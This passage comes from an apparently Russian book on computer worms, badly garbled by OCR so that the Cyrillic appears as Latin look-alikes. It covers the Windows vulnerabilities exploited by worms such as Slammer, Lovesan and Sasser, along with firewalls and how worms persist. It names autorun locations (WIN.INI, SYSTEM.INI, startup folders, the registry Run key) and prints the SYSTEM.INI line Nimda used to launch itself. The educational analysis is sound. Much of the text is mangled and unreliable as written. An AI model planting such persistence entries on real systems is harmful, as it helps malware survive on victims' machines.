9TOTO He TIPOU3OIILIO, COXPAHIETCS HEHYJIEBOH IAHC MoenuTs B urep-
nere kak Net-Worm.Win32.Lovesan 1 Net-Worm.Win32.Sasser, Tak
u GoJiee COBpEMEHHBIX ceTeBbIX uepreil (Hampumep, Net-Worm.Win32.
Padobot wiu Net-Worm.Win32.Mytob), Hecyumx B cebe U aKTUBHO
MPUMEHSTIONTUX TeJIbIi «GykeT»> shell-koMoB 171s1 pasHbBIX «/IBIP», BKIIIOUYAsT

MS03-026 1 MS04-01.
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6.5.4. Mpoune «ablpbl»

CylilecTByIOT U [Ipyrue ys3BUMOCTH, IIO3BOJISIONIIE CETEBBIM UYEPBIM
MPOHKMKATH Ha MOAKIIOYEHHBIN K VHTepHeTy KommboTep. Bor Hanbosee
«TIOTYJIIPHBIE JIBIPBI» (BKIIOYAS U Te, KOTOPbIe OBLIN paHee pacCMOTpe-
HBI), PACIIOJIOKEHHBIE B XPOHOJOTHYECKOM MTOPSI/IKE.

Wrak, yassumocts MS00-072 mo3Bosisiia morydaTh OCTYII K CETEBBIM
pecypcam Windows 9X (auckam, Katajoram, IpUHTEPaM U T. 11.), TOIO0-
GpaB Beero JmIb epByIo OykBy maposisi. Hanbouee ahdexTuBHO a1y Tex-
HOJIOTHIO HCIIOJIb30BasM ceTeBbie yepBu cemeiicTBa Net-Worm.Opasoft,
MTOCHIJIABIITNE CBOU 3aTPOChI Ha TopT 139.

Yassumocts MS01-020 mpuBoanIa K BOSMOXKHOCTA aBTOMAaTUUECKO-
TO 3aIycKa MPOrpaMMbl, TPUCJIAHHON BMECTE C JTEKTPOHHBIM TTMCHMOM,
TIPU MOTIBITKE POCMOTPA TEKCTA HTOTO MUChbMa. J[laHHYIO «IBIPY» THPOKO
KCIIOJIB30BAJIN MHOTOUKCJIEHHbIE TIOUYTOBbIE YePBHU, PACIPOCTPAHEHHbIE
B 2001-2003 rogax, nanpumep Net-Worm.Aliz, Net-Worm.Swen, Net-
Worm.Klez u 1. 11. YassumocTu 6b11 TioaBepskeHsl nporpammbl Outlook
Express u Internet Explorer Bepcwuii 5.01 u 5.5.

Vassumocts MS01-033, o6HapyskerHast B 2001 1., xapakTepusoBaiach
nepenosiHenneM Oydepa B mogcucreme ISAPI, KOTOpy®O HCHOIB30BA
MS Internet Information Server (MS IIS), paboTatorinii 1o yipasJaeHu-
em Windows 2000. ITpumepHO uepes Mecsl] Ioce 00HAPYKEHUS «bIPbI>
HOSIBUJIKCH U 4epBH, jesyire B Hee: Net-Worm.Win32.Codered. Tlep-
Bast BEPCHsI 9TOTr0 BUpYyca 3apasiia 0koJio 200 000 BeG-cepBepoB; caeayo-
1ast, UMeBIast GoJjiee COBEPIIEHHBIN aJITOPUTM BBIYMCIEHUS CJIYIaliHOTO
IP-azmpeca, — yxe 360 000; pasnosugHocts Codered IT — 450 000 u T. 1.
«PsioBble» MalMHbI OOBIYHBIX MOJIH30BATEJIEH OT ITUX BUPYCOB HE CTpa-
Jayu, 3aTo He IM03/I0poBMIIOCh cepBepy bemoro moma. Bupyc mpuxomun
yepe3 opt 80 (cranmaptueiit mopt npotokosa HTTP), ne 3amcwiBacs
Ha JIUCK B Buje (aiiya, a CynecTBOBAT TOJIbKO B TTAMSITH KOMIBIOTEPOB,
MOITOMY KJIACCUYECKIE AaHTUBUPYCHI B TPUHITUTIC HE MOTJIM €My TTPOTHBO-
neiictBoBaTh. K cyacThio, uepe3 HeKOTopoe BpeMst uepBu cemelicTBa Net-
Worm.Win32.Codered caMoyHUUTOKUINCD.

Vassumocts MS02-039, o6napyskernas B 2002 r., IpUBOAMIIA K TI€Pe-
nosuernio 6ydepa B MS SQL Server 2000 1 K BO3MOMKHOCTH IiepexBa-
Ta YIIpaBJeHUsT TPOTPAMMHBIM KoJoM, mpuciaanubiM B UDP-makere Ha
nopr 1434. 3apakeHUIO TIOABEPraInuch IPEUMYIIECTBEHHO BeO-CEePBEPHI,
pabotartone noj ympasiennem Windows 2000 u MS IIS, a pazgosbie
MOJIK30BATETU OTIYTIAJIY JIUIIh 3aMelJICHIe ¥ HapytieHue paboTsl B -
TepHeTe, CBSI3AHHOE C YBeJIMUeHNeM TpauKka 1 neperpyskoit (a mHoraa
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U oTKJIIoueHreM) BeO-cepBepoB. B despasie 2003 r. KPYIHYO SIUAEMHIO
Bbi3Bas1 uepBb Net-Worm. Win32.Slammer (o# ke Sapphire 1 Helkern),
UCIIOJIb30BABIINI 9Ty ySI3BUMOCTD. YepBb MMeJI AIMHY Beero 376 6ailTos
U CYIeCTBOBAJ TOJIbKO B BHUJIE€ BBIYUCJIUTENIBHOrO IMPOIECCA B IAMSITU
KOMIIbIOTepa. B aBTOpCTBE UepBs MPU3HAJICS WIEH BUPYCOIUCATENbCKON
rpynibl «29A» Benny.

«JIpipa», onucanHas B OwJrerede Microsoft ¢ ungexcom MS03-007,
3aKJII0YANIACH B MEPETIOJHEHUN «HEOTPAaHMYeHHOT0» Oydepa Ha Beb-cep-
Bepe, ocHoBanHoM Ha MS IIS. Cpenn uepBeii, MBITABIIMXCS UCIIOJTH30-
BaTh ATY ysA3BUMOCTD uepe3 moptT 80, moskno HazBaTh Net-Worm. Win32.
Welchia (on ;e Nachi), seap st 60pbObl ¢ Net-Worm. Win32.Lovesan
HYKHO OBLJIO PACIIPOCTPAHSTHCS ONEPEKAIONIUMU TEMIIAMH, BOT OH 1 UC-
MI0JIb30BAJI CPA3y HECKOJIbKO PA3JIUYHBIX «ZIBIP>.

Vassumocts MS03-026 B ciry:x6e DCOM RPC xopowio HaM 3HaKOMa.
Yepsu tuma Net-Worm.Win32.Lovesan, Net-Worm.Win32.Welchia u
T. II. ATAKOBAJIU CHCTEMY, [10ChLIAs HA TOPT 135 3aIpOChl ¢ HEKOPPEKTHO
chOpMUPOBAHHBIMU JIAHHBIMU. B pesysibraTe IPOUCXOMUTIO TIE€PEOJIHe-
nue 6ydepa B nponecce «SVCHOST.EXE», 1103BoJIsiBIIIE€E YEPBIO MOJIY-
YUTD yIPaBJIeHUE U IPOHUKHYTh HA KOMIIbIOTEDP. XaPAKTEPHBIM MPU3HA-
KOM IOZOOHBIX aTaK SABJIIOTCA coobienne 06 ocranoske cepsuca DCOM
RPC u nepesarpyska oneparmoHHONi CUCTEMBDI.

MS04-007 — omubxa B 6mbimorexke «MSASN1.DLL» onepanuon-
Hoil cucrembl Windows XP (mocryn yepes 445-ii iopr), obHapysKeHa B
2004 roga. Ha ator pas nporpammuctsl Microsoft cpaborasu oreparus-
Hee BUPYCOIMCATENEN, BBIIYCTUB <«3allIaTKy» 3a0iaroBpeMenHo. Bpe-
JOHOCHbIE TIPOIPAMMBI, IIPEK/E BCETO <«TPOSIHIIbI», HAYAJIU TOSIBISITHCS
JIUIIIb CIIyCTsI HeKoTopoe BpeMsi. HacKoIbKO MOKHO CY[IUTb, i HAIIH-
caHus CaMOPAa3MHOKAIOIIUXCSI CETEBBIX MPOrPAMM 3TA YSI3BUMOCThH He
odeHb ya06Ha, TaK KaK CrocoOHa BbI3IBATH JIUIH HAPYIIEHUs B paboTe
KOMIIbIOTEpA.

«JIpipa» MS04-011 Toxke ObLta paccMorpena Hamu panee. ITochLika
arpeccusroro shell-koza Ha mopr 445 npuBoguIa K nepenoaHeHuio 0y-
depa B cryxbe MS LSA (mpouece «<LSASS.EXE») u saxsary yepBem
yrpasienust. Haubosiee sIpKuM TPEICTABUTENIEM CETEBBIX BUPYCOB I10-
no6noro pona ssisiercss Net-Worm. Win32.Sasser, BbI3BaBIImii simje-
Mmuio BecHoit 2004 .

MS04-045 — ysassumoctsb B cayxk6e WINS (Windows Naming Service)
onepannonnbix cucrem Windows NT/2000,/2003 Server nospousiia 3a-
[yCcKaTh Ha yAQJEHHOM KOMIIbIOTEPE MPOU3BOIbHBIN Ko, OOBIUHO ATy
cay KOy, IOCTYIHYIO Yepes moptT 42, BKIIOYAIOT B JIOKAJIBHBIX CETSAX, M0-
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atoMy ysi3BuMocTb MS04-045 cpean Bupycorucareseii monyJasspHOCTHIO
He T0JIb30BAJIACH. 3aTO «TPOSTHOIMCATENSIMU» OHA IKCILIYATHUPYETCS [0
CHX [IOP HA MOJIHYIO KATYIIIKY.

Vassumocts MS05-039 B cayx6e PNPS (Plug and Play Service)
B 2005 ro/y mo3BOJIIIA PACIIPOCTPAHATHCS YepBsiM ceMeiicTB Net-Worm.
Win32.Bozori (ou ke Zotob), Net-Worm.Win32.Lebreat u t. 1. 10
KOMIIbloTepaM, paboTarommum 1oz yipasienrnem Windows 2000. Omnbka
nepenostenust 6ydepa npucyrcrsosaia B 6ubanoreke « UMPNPMGR.
DLL».

Ocenbio 2008 roga o6HapyxeHa (BUAUMO, CAMUMU IPOrPAMMUCTaMU
Microsoft) ysassumocts MS08-063 B ciry:x6e NetAPI, goctymnmnoii Bee ge-
pe3 ToT ke nopt 445. CHavasia ObLja BBITYIIEHA «3aIljIaTKa, a [I0TOM YiKe,
3aJIHUM YUCJIOM, BUPYCOJIOTY OOHAPY KUK YePBsl, [IBITABIIETOCS ATY ysI3-
BUMOCTD UCIIOJIb30BaTh, — Net-Worm.Win32.Gimmiv.

Wrax, BbIIIE MepedrcIeHbl HanboJiee U3BECTHDIE YSI3BUMOCTH TIEPBOTO
necatunerus X X1 Beka, crioco0CTBOBABILNE BO3HUKHOBEHUIO U PA3BUTHIO
KpyIHeNmux ceteBbix anugeMuii. DopmaibHO BCe OHM JAABHO 3aKPbITHI
«3aIJIaTKaMu» U UCIIPABJIEHbI B HOBBIX BEPCUSX CUCTEMHBIX IPOTPAMM.
Ha camowm ke nesie psijioBOIi 110J1b30BaTe b, YCTAHABIMBAS HA KOMIIBIOTED
OIIEPAIMOHHYIO CUCTEMY, IAJIEKO He BCera CIIENIUT B Mara3uH 3a JAUCTPU-
OyTHBOM caMoii ocenueii Bepcunt Windows u He BUIUT HE0OXOIMMOCTH
B HeMeJJIeHHOM CKayMBaHUU ¢ caiita Microsoft u ycraHoBKe MHOrOUYMC-
JIEHHBIX «3aILJIATOK» U «CEPBUCIIAKOBY» OOIIUM 00BEMOM CBBIIIIE COTHH Me-
raGaiit. I109TOMY YHCIIO YSI3BUMBIX Y3JI0B IJI00ATbHON CETH MO-TIPEKHEMY
OCTAeTCs 3HAYUTEIBHBIM, 1 KOJIMYECTBO MAIIIIH, 32PASKEHHDBIX «CTAPBIMU»
CeTeBBIMU BUPYCAMHU U PACIIPOCTPAHSIONIUX «3apasy» [0 BCEMY MUY,
XOTSI U HEBEJIUKO B IPOIEHTHOM OTHOIIEHUU (4TO TAKOE HECKOJBKO Thi-
Cs14, TI0 CPABHEHUIO C COTHSIMHU MUJJIMOHOB?!), HO IOCTATOYHO JIJIsT TOTO,
4T0OBI 00ECTIEYUTD TOCTOSTHHOE TIPUCYTCTBHE B MUpoBoM Tpacuke TCP-
n UDP-naxeros ¢ arpeccusibiMu shell-kozamu.

Kpome Toro, B riio6aJibHON CETH MOCTOSIHHO «(DOHSIT» CETEBbIE Y€PBU
«HOBOII BOJIHBI», OIIPEIEIAIONNe BUPYCHYIO cuTyaiuio B Vnrepuere, Ha-
guHas ¢ 2005 roga. VIx pasHoBuaHocTell cpaBHuTebHO HeMHOTO (Net-
Worm.Win32.Bagle, Net-Worm.Win32.Mytob, Net-Worm.Win32.
Padobot, Net-Worm.Win32.Zhelatin, Net-Worm.Win32.Warezov,
Net-Worm.Win32.Kido u T. 11.), HO OHM, KaK [IPaBHJIO, IBITAIOTCS HC-
M0JIb30BATD CPA3Y HECKOJIbKO PA3JINYHBIX YSI3BUMOCTEI — KAK «/[PEBHUXY,
TaK U «CBEKIX>.

«Jlomaimuuii» moNAb30BaTENb, UMeONIUN auHaMmudeckuit [P-aznpec
B JIOKAJIbHOU CeTH CBOETO ITpoBaiiiepa u :KUBYIINH 110]] 3a1IUTON KOPIIO-
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PATUBHOTO MEKCETEBOTO 9KPaHa, OOBIYHO PEJIKO HAOIIOAAET TTOJTHHHY O
KapTUHY TOTO, 4TO TBOpUTCS B VIHTepHeTe — «Ha cBeskeM Bo3iyxes. Ho
CTOUT TOJIBKO €My ITOJIy4UTh cOOCTBEHHBbII, cTarnyeckuii [P-agpec, kak
OH HauMHaeT ourymarh cebs XoMoil BpyToM, CKOPYMBIIMMCS Ha TIOJIY
IEJSCTON YACOBEHKM MOCPeAr 3a0POIIEHHOr0 KJIaj0uia B JYHHYIO
HOYb TSITHUILBL, 13-T0 unciia: B me4Hoit Tpybe CTOHET U CKPUIIUT 3yOaMu
FOJIOJIHBIN BYP/lAJIaK, U3 MOJIOJIbSI TPOOUBAETCS MOJIYPA3IOKIBITUICS
30M0OH, a HAa CTYHEHSIX KPBLIbIlAa YKe 3ByJar TsiKeJble marn Bus (cM.
puc. 6.18).

31008132454 3anpoc Ha cosaMHEHHE 25.25.158.164 TCP[735] :]
AN0081321:30  3anpoc Ha cosaMHEHKHE B117E7ra5 TCP[1355)
AMA002871220:26  3anpoc Ha coBQMHEHHE 21.176.77.85 TCP1395]
3110081319 —= 121.14.136.4M TCP135
311008 1319 | Ataka Ha DCOM RPC, 31.776.77.85 TCP[1395)
31008131&87 | MSElast eozepawasTcA? 20297.238.228 UDP[102E)
3110081318 A1.17E. 77 .85 TCP139R)
AN0081317:14  3anpoc Ha cosaMHEHMHE 81.176.77.85 TCP[1335)
HMA00813:07:04  3anpoc Ha cosaMHEHMHE 1932312270 TCP1271]
310028130604 3annne HA ~RRIUHeHLE 1932312270 TCP(1283)
311003130800 3 1932312270 TCP[1271)
311003130459 3 ﬁ;i’;aglzrmﬁe?)%l_ 1932312270 TCP[1283)
3110081301:36 0 3 ) £1.139.54.94 UDP1434]
311003 12:01:01  3anpoc Ha cosdHHEHHE 211.137.2036 UDF'[1434]]
310028124553  3anpoc Ha cosdMHEHKHE B1.24E.7.197 {CHP[2048]
311003124257 3 218.22.244.45 LDP{1434))
N1008123208 3, ATGKSG Ha LOASS ? 202 97 298 235 ODP0%E] | |
3008122822 [l (=Asser) B9.186.127.38 TCP[445]
3? 1008 12:28:22  3aMpoc Ha cosuHEHKE B3.18E.127.38 TICP[445] )I [
[ 3

Puc. 6.18 < Heckonbko atak Ha IP-agpec,
3aperncTprupoBaHHbIX B Te4EeHMe 4Yaca

U HemsBecTHO, KaKWe YSI3BUMOCTH OYIyT 0OHAPYKEHBI yIKe 3aBTpa —
U B JIaBHO 9KCILTYaTUPYEMBIX BEPCHUIX ONEPAIMOHHBIX CHCTEM, 1 B HO-
BBIX MTPOTPAMMHBIX pa3paboTkax. OIHO MOKHO yTBEP/KIATH TOUTH Ha-
BepHsKA: n36eKaTh MOAOOHOTO PA3BUTHSI CUTYAIUU MPAKTUYECKU He-
peasbHO.

ITosb3oBaTesb, 6y b TOTOB!

6.5.5. Bpanamayapbl

Jleronucu siro6oro, 6osiee UM MeHee CTAapUHHOTO TOPOJIa XPAaHAT CBejle-
HUST O KPYIHBIX TI0KapaX, YHUUYTOKABIIUX TTOPOIi MOYTH BCIO JIEPEBSTH-
HYI0 TOpoJIcKyio 3actpoiiky. B 1666 rony ropen Jlonnon, B 1842 rogy —
TamGypr, B 1871 rogy — Yukaro. o nauana XX Beka 6osiee 30 pas goTia
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Bbiropasia Mocksa. Orotb, Kak MpaBuio, ObICTPO PA3HOCUIICS BETPOM OT
OJTHOTO JIEPEBSHHOTO 3JIAHUS K [PYTOMY, 1 HUKAKUe YCUJIUS KUTEJIel He
MorJiu eMy romeniatb. CTpOUTh BeCh TOPOJI U3 KAMHS? — DKOHOMUYECKU
MPAKTUYECKH HEOCYIECTBUMO, Be/lb MO3BOJHUTH ceOe TIOMHOCTHIO KaMeH-
HBIe CTPOEHMSI MOTJIM JIUIh HanboJiee 3aKUTOUHbIE TOposKaHe. Tak 1o-
SBUJIACh ujiest «Opanamayapa» (o1 HeM. brandmauer — IpOTUBOIIOKAPHAST
0Tpajia) — BbICOKOW KUPIUYHON CTEHbI, Pa3MEINIEHHON MEXK/Y /IBYyMs J10-
MaMU U He MO3BOJISAIONIEN OTHIO IEPEKUILIBATHCS OT OJIHOTO CTPOEHUS K
JIPYTOMY.

B cdepe samuTsl nHGOpMAIUK TOKE CYHIECTBYIOT CBOU Opanomayspbl
(¥X erie HA3BIBAIOT PatipsoiiamiL, KpOMe TOTO, OHU SBJSIOTCI OCHOBHBIM
KOMIIOHEHTOM JIIOO0OTO MeHCCemesoz0 9Kpana) — 3TO MPOTPAMMHO-AII-
napatHble WM YUCTO IIPOrpaMMHbBIE CPENCTBa, (DUIBTPYIOIIME CeTeBOI
tpacuk. CiiokHbIE «<KOPIIOPATUBHbIE> 9KPaHbI (HATIPUMED, TPOTrPAMMHO-
armapaTHble KoMILIeKehbl (pupmbl Cisco) 0OBIMHO pasrpaHMYMBAIOT APYT
OT JIpyra KPYyIIHbIE CETMEHTDI CeTeld, a GoJiee TIPOCThIE «ITEPCOHATBHBIE
Opanzmayspsl (Hampumep, Agnitum Outpost, Kaspersky AntiHacker,
Zonelabs ZoneAlarm, Kerio Personal Firewall, Ashampoo Firewall, Jetico
Firewall u nipoune) ciuensr 3a TpadMKOM, BXOASIINAM 1/ UCXOISIIAM
U3 KaKoro-abo OT/eJIbHOTO CETEBOTO Y3JIa.

CyliecTByIOT MHOTOYHCJIEHHbIE GPAHIMAYIPbl CTOPOHHUX TPOU3BO-
IMTeNeil, KpOMe TOro, MPOCTEHbKMI GpaHAMAaysp SBJISETCS COCTaBHON
4acThIO onepannoHubix cucreM Windows, naunnas ¢ sepcun 2000 (Gosee
WJIA MeHee IIPUeMJIeMbII BI OH IPUoOpes ToIbKO B Bepcuu X P SP2 — cwm.
puc. 6.19).

B ocrose paboThl 1106010 GpaHaMayapa JIEKUT CUCTEeMA IIPABUIT, OITACHI-
BaIoOI[ast HEKOTOPYIO MOJUTUKY GE30IIaCHOCTH, 3aJaHHYI0 HA MHOXKECTBAX
MPUKJIAJHBIX ITPOTPAMM, CETEBBIX AJIPECOB, TIOTOB U IIPOTOKOJIOB. JTa CHU-
CTeMa OTIpe/iesIsieT, KAKIUM IIPUJIOKEHUSIM pa3peliieHo B3auMOJIeiiCTBOBATD
C CeTbIO, Yepe3 Kakue MOPTHI, IPU TOMOIIX KAaKUX ITPOTOKOJIOB U C KAKUMU
BHemHUMY ajgpecamu. OGbIYHO 3HAYNTEIbHASL YaCTh ATON cucTeMbl (hop-
MUPYETCS aBTOMATUYECKH, HO HEKOTOPbIE TIPABHJIA M0JIb30BATETh MOXKET
1n006aBJIsATh 1 yaausTh Bpyunyio. Hanpumep, npunoxkennio «I[EXPLORE.
EXE» MOKHO paspelnuTh JOCTYII K JI0OBIM BHEIIHUM aPeCaM 110 JIOOBIM
NPOTOKOJIaM (MHAYE HEBO3MOKHO OY/IET «XOAUTh> B MIHTEpHET); 10CTyII
o nporokosry NetBIOS uepes noprs 445 u 137—139 nesiecoobpasto mo-
3BOJIUTD TOJIbKO BHEITHUM Y3J1aM, TPUHA/IEKAIIUM MECTHOH JIOKATHHON
cetu (HanpuMep, umeronum [ P-aapeca Buma 192.168.*.* umun 169.254.* *);
a JIOCTYII K y3J1y u3BHe uepes nopt 135 syuiie Beero 3anpetuts 6e3ycios-
HO U T. TI.
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§  Gpanamayap Windows

ObBupe ] LA CK ARHEHK A ] ,ﬂ,DI‘IDJ‘IHMTEanD]

EpaHamsyap Windowves NomoraeT NpegoT BPaTHTE HECAHKLMOHWMED BEHHEIR
BOCTYN K BAWENY KOMMBHOTERY Yepes FIHTERHET WM CaTe.

g@ Bxnmunih [pexoMeHayeTEa)

ITOT NEREMETE BNORMEYET NORKMDHEHME BOEX BHEW HM:
WCTOUHMKGE K LAHHORY KOMOBKTERY, KPOME BEISREHHE HA
B KIS KE WK THJEHIA

[ He pzapewarh MEKNKYEHWA

BeIGEpMTE 3TOT NAPAMETE MPK NOLKMIOHEHKI K OTKREITOR CETH B
MEHEE A UM UEHHEEE MECTSY, HENPMMER, B S3p0NaTy. Bel He
GygpeTe NoNy4aTe YEELOMNEHWA, KOMLa OpaHgmayap Windovws
GnokMpyeT Npomstmel. MCTO4HMEK, BBIBRaHHEIE Ha BKNafke
MCEMYEHMEA, By BT MHORMPOE ATEC A,

° () EuIkniaunTh {He pexoMeHayeTER)

CTapalTeck HE MENONE30EATE 3TOT NapamMeTh. BrAKHYEHWE
Gpangray3pa Windows NEWEOLMT K CHIGKEHMIO 38 WM IWEHHOC T
KOMMBOTERS OT BMPYCHER STSK M SN0YMEIL NEHHMKOE .

NogpobHes o Bpadamayape Windows

| Ok H OThEHa ‘

Puc. 6.19 % bpangmayap (dbaripsonn),
BCTPOEHHbIN B Windows XP

OCHOBHBIMHU JIOCTOMHCTBAME OPAHAMAYIPOB SBJISAETCS BO3MOKHOCTD
«3aKpbIBATb» CeTeBble ITOPTLI U IIPEAYIPEXKAATH 110JIb30BATE/IS O IOJ0-
3PUTEJNBHBIX CETEBBIX 3ampocax. MHorue GpaHAMayspPbl YMEIOT BBITOJ-
HSTh W JIPYrWe T0JIe3Hble JeMCTBUS, YBEJIUUYUBAIONINE 3alIUIIEHHOCTh
CEeTeBOTO y3J1a:

QO cieauTh 3a MEJTOCTHOCTHIO CETEBBIX MPUIOKEHNH (OPUTHHATbHBIN
mu «SVCHOST.EXE» obpaiiaercst K ceTH WM €ro BUPYCHast KO-
nms?);

O 1npoBepATh KOHGUTYpATMOHHBIE (haliabl (He MOSBUIACH JIT B «aB-
TO3arpy3Ke» HOBas 3aI1ChH?);
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Q 6a0KMpPOBATH HEKeJTaTeJTbHBIH TpauK 4Yepes OTKPBIThIE TTOPTHI
(He peKJIaMHBbII Jiu GaHHeP CYMTBIBAETCS € YIAJIEHHOTO CEPBEPA 110
nportokosy HTTP? ne nporpamma jiv ¢ ‘MZ’ B 3aroioBKe — BMECTO
KapTUHKHU?) U T. T1.

OueHb YIPOIIEHHO CTPYKTYpa ceTeBoil moacucTeMbl Windows Bbiriis-

uT crenyomum o6pasom (cm. puc. 6.20).

0 KOnbLO | 3 KONbLO
TIPAVBEP + YPOBEHb }TDI-J],PAIJ‘IBEPA

nPUNo-
TPAHCIOPTHBIX P |COKETbI -P}KEHJL?-,

MPOTOKONOB

CETh = CETEBOIo NDIS-
ADANTEPA OPAVMBEPOB

T

Puc. 6.20 < CeTteas nogcuctema Windows

Pasymeercst, GbIIM MOTMBITKA BCTPauBaHUsl GPaHIMAyspoOB HA YPOB-
He TPAHCIIOPTHBIX /IPAiBEPOB M JIa’ke COKETOB (HAIPUMEp, MPHU MTOMO-
mu <nepexsara» GyHkimii 6ubanorek «WS2 32.DLL», <MSWSOCK.
DLL» u «WSOCK32.DLL»), HO cOBpeMeHHBII MPOrpaMMHBIil Gpamj-
Mayap ohOopMIsIeTCs B BUIE HU3KOYPOBHEBOTO BUPTYAJIBHOTO JpaiiBe-
pa, saHuMalomiero mecto cpear NDIS-zapaiisepos. AGOpesuarypa NDIS
(Network Driver Interface Specification) coorsercTByer crenndukarym
Ha wHTepdelic B3aUMOJIENCTBUSI MEXKAY JpaliBepaMi TPOTOKOJIOB Ka-
HAJBHOTO YPOBHS ¥ JpaiiBepaMu 60Jiee BBICOKOYPOBHEBBIX MPOTOKOJIOB.
Omna omnpenenser onpeneneHusrii hopmar NDIS-mmakeros, npasuia cos-
TaHUS U BKJIIOUEHS TIPOMEKYTOUHBIX JpaiiBepoB U T. . biarogaps pac-
MOJIOKEHUIO B «TJIyOMHE» OMEPAIMOHHOM CHCTEMBI GPaHIMAYIp MMEET
BO3MOJKHOCTb TIePEXBATHIBATh U aHAJU3UPOBATH CETEBOI TPapUK Mpak-
TUYECKU CPa3y TI0CJIe TIPOXOKIEHMS €T0 YePe3 CeTeBOI afianTtep — ropaszio
paHblIle BUPYCOB, YePBEIl, TPOSTHCKUX IIPOTPAMM U CETEBBIX MTPIIOKEHITIT
Windows.

Tem He MeHee caMblii TIPOCTO# BapraHT GpaHMayapa MOKeT paboTaTh
Ha YPOBHE COKETOB, UCII0Ib3ys nosuBuieca B Windows 2000 ¢pyHkunn
usIBTpanum CeTeBbIX MAKETOB:

O «PfCreatelnterface» — cosmaer jormdeckuii naTEpdEiic;

O <«PfAddFiltersTolnterface» — HanmosHser Jorndeckuii nHTEpdeiic

npaBuUIaMy (OUIIBTPAIIUH [TAKETOB;

O «PfBindInterfaceToIPAddress» — cBsizblBaeT JOrHYeCKUil UHTEP-

(eiic ¢ KOHKpeTHBIM ceTeBBIM MHTEPGhENICOM.
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6.6. Kak 4epsn 3apa)<aloT KOMNbIOTEp

..Y8uden na ezo moweit nod6pumoii wee, 6 camoti
SAMOUKe 100 3aMbLIKOM, KOPOMKUU PO306ATLIL
nobez, MoHeHbKULL, OCMPDbLLL, YICe 3A6UBAIOUUTICSL
CRUPANBIO, OPOACAULUTL, KAK OM JHCAOHOCTIUL.

A.u B. Crpyrarkne. «YanTka Ha CKJIOHE»

Vike ObLI OTMEUEHO, YTO XapPaKTEPHOU O0COGEHHOCTHIO BUPYCOB-YEPBEii,
OTJIMYAIONINX UX OT BUPYCOB-NAPA3UTOB, SBIAETCS <aBTOHOMHOCTB>.
UYepBU 3apaskaioT He OTAETbHBIE TTPOTPAMMBI, & BCTPAUBAIOTCA B CUCTEM-
HYIO Cpe/ly KOMIIbIOTepa.

Ectb uepBH, KOTOpBIE CYIMIECTBYIOT TOJBKO B OTEPATUBHOM MaMSITH
KOMIIbIOTEpa, BooOIIe He odopmisis ceds B Buze daitia. Hapumep, Net-
Worm.Win32.Slammer npuxoaun na kommnbiorep B Bujge UDP-makera,
MOJIHOCTHIO Pa3MeEIAJICst BO BHyTpeHHeM Oydepe cepBepHOTo Impoiecca,
Guaromaps ysassumoctu MS02-039 cpasy mosiyyas yrpasjieHue U HagrHa
PaboTy, MBITASICh Pa30CIaTh cebst 1O IPYTHM KOMITbIoTepaM ceTu. [loce me-
pe3arpysKH OIepalOHHON CHCTEMbI OH, Pa3yMeeTCst, OTHOA U OCTABJISLI
0 cebe caefbl TOJTBKO B BHJIE 3allMCEl B CETEBBIX JIOrax (eC/IM OHM BEJIHCH ).

Ho mogassistiorniiee GOIBITUHCTBO MOYTOBBIX U CETEBBIX YEPBEH, MOTy-
YUB TEM UJIM HHBIM 0OPA30M B MIEPBbIiT pa3 yIpaBJIeHUe, CTAPAIOTCs 3aKpe-
[TUTHCST HA KOMIIBIOTEPE, 00eCTIeurB cebe «I0JTYIO U CIACTIUBYIO KU3Hb>.
B paszeie, nocssienHom koHburypuposanuio Windows, yxke paccMa-
TPUBAJIUCH HEKOTOPBIE CIIOCOOBI, KOTOPbIE TTO3BOJISIIOT BUpPycaM obecrie-
YUBAThb CBOW HECAHKIIMOHWUPOBAHHBIN aBTOMATHUYECKUN 3alyCK II0Cie
repe3arpy3Kku OrepanuoHHON CHCTEMBI.

ITouToBbBIE U CETEBBIE YEPBH, OPUEHTUPOBaHHbIE Ha paboTy B Windows
9X, wale BCETO 3aMUCHIBAIOT cebsT B KIIOY «rUn» KOHGUTYPAIHOHHO-
ro ¢aitma «WIN.INI». Hampumep, tak moctynaior E-Worm.Win32.
Cholera, E-Worm.Win32.Petik, Net-Worm.Win32.0Opasoft u muorue
apyrue. BTopbiM o pacpocTpaHeHHOCTH CIIOCOOOM SIBJISIETCST HCTIOIB30-
BaHue Kiova «shell» kounpurypannonnoro ¢aiiia «SYSTEM.INI». ITpu
TIOMOIIIN HTOTO KJI0Ya OTPEIENSIOTCs KoMaHaHas obomouka Windows,
MHTEPAKTUBHO B3aMMOJIEUCTBYIOIIAsT ¢ MOJb30BareieM (OOBIYHO 3TO
«EXPLORER.EXE»), u mapamerpsl ee samycka. Bor kak atuM 06¢TosI-
TEeJIbCTBOM 110J1b30Basics yepBb Net-Worm. Win32.Nimda:

[boot]

oemfonts. fon=vgaoem. fon
shell=Explorer.exe load.exe -dontrunold ; <- 1load.exe - ¢ain supyca !!!
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Betpeuaoress u 4epBH, KOTOpPbIe HUCIOJIB3YIOT KpailHe TPUMUTHUB-
HBII c110c00 aBTo3aImycka — Komupylor cebs B katanoru «C:\ Windows\
I'maBroe menio\IIporpammbr\ ABrozarpyska» 1 «C:\Windows\All users\
I'maBroe menio\ITporpammbl\ ABTO3arpyskas. Cpaboraer sToT IpueM U
B Windows NT, ToJIbKO TaM KaTaJI0OTH aBTO3allyCKa PaciioJIOKEeHbI He BHYT-
pu «C\Windows», a Baytpu «C:\Documents and settings». Konuposa-
s cebst B 9Tu Karasorn, Haripumep, E-Worm.Win32.Sobig u E-Worm.
Win32.Swen. Bripoyem, BUpycHbIii (haiisi, paciosoKeHHbIN B KaTajlorax
ABTO3AITyCKa, [10JIb30BATENb JIETKO MOKET YBUIETh HEBOOPYIKEHHBIM TJIa-
30M U yJIQJIUTh Bpy4YHYyt0. [JIaBHBIN jKe HEJOCTATOK MOJAOOHOTO MOIX0/A
3aKJII0YAETCS B PA3JIMYNU UMEH KaTaloroB s pasHbix Bepcuii Windows.
B yvactnoctu, nig 3apaskeHus aMepuKaHCKOU U MTaHbeBPOIEHCKON pas-
HoBugHocrell Windows neo6xoxnMo konuposarb (aiin uepss B «C:\
Windows\All users\Start menu\Programs\Startup». Takum o6pa3zom,
4epBb, MOIAB B JOKAJIU30BAHHYIO OMEPAIMOHHYIO CPELY, IIPOCTO TepsieT
BO3MOXKHOCTb aBTO3AITYCKA.

HauGosnee momyasipHbIM Cpeay YepBeil MeTOIOM aBTO3AIlyCKa, IIPU-
rogubiM 1 g Windows 9X, u g Windows NT, asigerca samnuch
cebuikn Ha cebs B kioye Peectpa « HKLM\SOFTWARE\Microsoft\
Windows\ CurrentVersion\Run». 9Tor npueMm xapakrepeH, 110 KpaiHeil
